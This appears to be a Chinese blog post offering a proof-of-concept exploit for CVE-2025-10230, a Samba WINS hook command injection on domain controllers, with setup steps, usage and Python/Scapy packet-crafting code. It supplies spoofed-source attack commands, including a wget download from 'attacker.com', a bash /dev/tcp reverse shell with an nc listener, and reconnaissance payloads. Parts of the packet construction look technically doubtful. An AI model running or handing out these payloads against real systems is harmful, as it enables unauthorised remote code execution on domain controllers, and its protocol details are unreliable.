深入解析Samba WINS命令注入漏洞(CVE-2025-10230) - 完整PoC实现

CVE-2025-10230 - Samba WINS钩子命令注入漏洞PoC

项目标题与描述

Samba WINS命令注入漏洞验证工具

本项目提供了一个针对CVE-2025-10230漏洞的概念验证(PoC)实现。该漏洞存在于Samba的WINS钩子处理过程中,当Samba作为Active Directory域控制器并启用WINS支持时,未经验证的NetBIOS名称会被直接传递给系统shell,导致命令注入漏洞。

核心价值

  • 演示真实的WINS协议攻击向量
  • 提供教育和安全测试工具
  • 帮助安全团队验证其Samba部署的安全性
  • 展示网络协议级别的漏洞利用技术

功能特性

核心功能

  • WINS协议包构造:完整实现WINS名称注册请求数据包构造
  • 命令注入载荷:支持自定义shell命令注入
  • IP地址欺骗:允许设置伪造的源IP地址
  • Scapy集成:使用Scapy库进行底层网络包操作
  • 详细日志输出:提供完整的攻击过程反馈

技术特点

  • 基于RFC 1002的WINS协议实现
  • 支持NetBIOS名称编码和压缩
  • 正确处理UDP/42端口(WINS服务端口)
  • 可调节的详细输出模式
  • 跨平台兼容性(需要root权限)

独特价值

  • 针对特定且危险的Samba配置场景
  • 提供实际的漏洞利用演示而非理论分析
  • 包含完整的协议层实现细节

安装指南

系统要求

  • Python 3.6+
  • 类Unix操作系统(Linux, macOS)
  • Root权限(用于原始套接字访问)

依赖安装

# 安装Scapy库
pip install scapy

# 或者使用系统包管理器
# Ubuntu/Debian
sudo apt-get install python3-scapy

# RHEL/CentOS
sudo yum install python3-scapy

快速安装

# 克隆或下载脚本
git clone <repository-url>
cd <project-directory>

# 设置执行权限
chmod +x CVE-2025-10230.py

# 验证安装
sudo python3 CVE-2025-10230.py --help

注意事项

  1. 权限要求:必须使用sudo或root权限运行,因为需要原始套接字访问
  2. 网络接口:脚本默认使用eth0接口,可能需要根据实际环境调整
  3. 目标环境:仅用于测试授权的实验室环境
  4. 法律合规:确保遵守当地法律法规和测试授权

使用说明

基础用法

# 基本攻击命令
sudo python3 CVE-2025-10230.py <目标IP地址>

# 示例:攻击192.168.1.10
sudo python3 CVE-2025-10230.py 192.168.1.10

高级选项

# 自定义命令注入载荷
sudo python3 CVE-2025-10230.py 192.168.1.10 \
  --payload "; wget http://attacker.com/shell.sh -O /tmp/shell.sh"

# 指定源IP地址(IP欺骗)
sudo python3 CVE-2025-10230.py 192.168.1.10 \
  --src_ip 192.168.1.50

# 启用详细输出模式
sudo python3 CVE-2025-10230.py 192.168.1.10 -v

# 组合使用所有选项
sudo python3 CVE-2025-10230.py 192.168.1.10 \
  --payload "; id > /tmp/exploited.txt" \
  --src_ip 10.0.0.100 \
  --verbose

典型使用场景

场景1:快速漏洞验证

# 使用默认载荷验证漏洞
sudo python3 CVE-2025-10230.py 192.168.1.100
# 在目标服务器检查文件
ssh admin@192.168.1.100 "cat /tmp/injected_by_cve.txt"

场景2:自定义反向shell

# 设置监听器
nc -lvnp 4444

# 发送反向shell载荷
sudo python3 CVE-2025-10230.py 192.168.1.100 \
  --payload "; bash -i >& /dev/tcp/192.168.1.50/4444 0>&1"

场景3:信息收集

# 收集系统信息
sudo python3 CVE-2025-10230.py 192.168.1.100 \
  --payload "; uname -a > /tmp/sysinfo.txt && \
             whoami >> /tmp/sysinfo.txt"

API概览

脚本通过命令行参数提供以下功能接口:

参数 缩写 描述 默认值
target_ip - 目标Samba服务器IP地址 必需
--payload - 要注入的shell命令 ; id > /tmp/injected_by_cve.txt 2>&1
--src_ip - 伪造的源IP地址 192.168.1.100
--verbose -v 启用详细输出模式 False

核心代码

1. 主函数入口点

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-10230 PoC - Samba WINS Injection")
    parser.add_argument("target_ip", help="IP of vulnerable Samba AD DC")
    parser.add_argument("--payload", default="; id > /tmp/injected_by_cve.txt 2>&1", 
                        help="Shell command to inject (appended after fake NB name)")
    parser.add_argument("--src_ip", default="192.168.1.100", help="Spoofed source IP in packet")
    parser.add_argument("--verbose", "-v", action="store_true", help="Verbose Scapy output")
    args = parser.parse_args()
    
    # 构造恶意NetBIOS名称:合法前缀 + 载荷
    fake_nb = "POC-"  # 看起来合法的前缀
    malicious_name = fake_nb + args.payload[:10]  # 截断以适应~15字符限制
    
    print(f":fire: CVE-2025-10230 PoC Launching...")
    print(f":bullseye: Target: {args.target_ip} (UDP/42 - WINS)")
    print(f":syringe: Malicious NB Name: '{malicious_name}'")
    print(f":memo: Expected on Target: Execution of '{args.payload}' via hook script")
    print(f":detective:  Post-exploit: Check target /tmp/injected_by_cve.txt or /var/log/samba/log.smbd")
    print("-" * 60)
    
    try:
        # 构造并发送恶意数据包
        pkt = craft_wins_registration_packet(malicious_name, args.src_ip, args.target_ip)
        send(pkt, verbose=args.verbose, iface="eth0")  # 可能需要调整接口
        print(":collision: Packet sent! If vulnerable, hook should fire. Monitor target logs/FS. :police_car_light:")
    except Exception as e:
        print(f":cross_mark: Error sending packet: {e}")
        sys.exit(1)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: sudo python3 CVE-2025-10230.py <target_ip> [--payload ';cmd']")
        sys.exit(1)
    main()

2. WINS数据包构造函数

def craft_wins_registration_packet(nb_name: str, src_ip: str = "127.0.0.1", target_ip: str = None):
    """
    构造包含注入NB名称的WINS名称注册请求数据包。
    
    WINS协议(符合RFC 1002标准,为注册简化)。
    OpCode: 0x0B(注册)
    NB名称:填充到15字符+空值,但通过尾随元字符注入。
    
    参数:
        nb_name: 要注入的NetBIOS名称(包含恶意命令)
        src_ip: 伪造的源IP地址
        target_ip: 目标Samba服务器IP地址
    
    返回:
        完整的Scapy数据包对象
    """
    # 事务ID(任意值)
    transaction_id = struct.pack('>H', 0x1234)
    
    # 标志位:标准查询(0x0000),OpCode注册(0x0B在高位,但简化处理)
    flags = struct.pack('>H', 0x000B)  # B节点,注册
    
    # 问题数:1
    questions = struct.pack('>H', 1)
    # 应答RR数:0
    answer_rrs = struct.pack('>H', 0)
    # 权威RR数:0
    authority_rrs = struct.pack('>H', 0)
    # 附加RR数:0
    additional_rrs = struct.pack('>H', 0)
    
    # 头部组装
    header = transaction_id + flags + questions + answer_rrs + authority_rrs + additional_rrs
    
    # 问题部分:NetBIOS名称
    # NB名称编码:18个0xC0字符(标签)+ 长度 + 名称字符
    # 针对漏洞:使用包含shell字符的原始字符串 - 漏洞不会验证
    nb_raw = nb_name.encode('ascii')[:15].ljust(15, b'\x00')  # 截断/填充到15字符
    nb_section = b'\xC0' * 2 + struct.pack('B', len(nb_raw)) + nb_raw + b'\x00'  # 压缩指针技巧 + 名称
    
    # QType: NB (0x0020), QClass: IN (0x0001)
    qtype = struct.pack('>H', 0x0020)
    qclass = struct.pack('>H', 0x0001)
    
    # 问题部分组装
    question = nb_section + qtype + qclass
    
    # 注册请求没有应答部分
    packet_payload = header + question
    
    # 包装到UDP/IP层
    ip_layer = IP_scapy(src=src_ip, dst=target_ip)
    udp_layer = UDP(sport=137, dport=42)  # NBNS源端口,WINS目标端口(UDP/42为WINS端口)
    full_packet = ip_layer / udp_layer / Raw(load=packet_payload)
    
    return full_packet

3. 漏洞利用逻辑

# 在main函数中的关键部分:
# 构造恶意NetBIOS名称:合法前缀 + 载荷
fake_nb = "POC-"  # 看起来合法的前缀
malicious_name = fake_nb + args.payload[:10]  # 截断以适应~15字符限制

# 漏洞利用的核心在于:
# 1. WINS钩子脚本会接收NetBIOS名称作为参数
# 2. 名称直接传递给系统shell而没有适当清理
# 3. 分号等shell元字符允许执行任意命令

# 攻击数据包发送
pkt = craft_wins_registration_packet(malicious_name, args.src_ip, args.target_ip)
send(pkt, verbose=args.verbose, iface="eth0")

4. 程序头部注释和说明

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
PoC for CVE-2025-10230 - Samba WINS Hook Command Injection
===========================================================

此脚本演示了在Samba的WINS钩子处理中的命令注入漏洞,
当Samba作为AD域控制器运行并启用WINS支持时。

用法:
    python3 CVE-2025-10230.py <target_ip> [--payload <cmd>] [--verbose]

要求:
    - scapy (pip install scapy)
    - 以root/sudo权限运行以获得原始套接字访问

漏洞详情:
    WINS注册中的未清理NetBIOS名称被传递给'wins hook'脚本,
    允许通过shell元字符进行命令注入。

作者:dptsec(基于Samba安全公告)
许可证:仅用于教育/测试目的。
:warning:  请勿在生产系统上使用!
"""

这些核心代码展示了完整的漏洞利用链,从数据包构造到实际攻击执行的完整流程。代码结构清晰,注释详细,便于理解和修改用于合法的安全测试目的。
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcANeiTtN5BtCTpfUQ44YS8cf
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

posted @ 2026-01-02 07:01  qife  阅读(0)  评论(0)    收藏  举报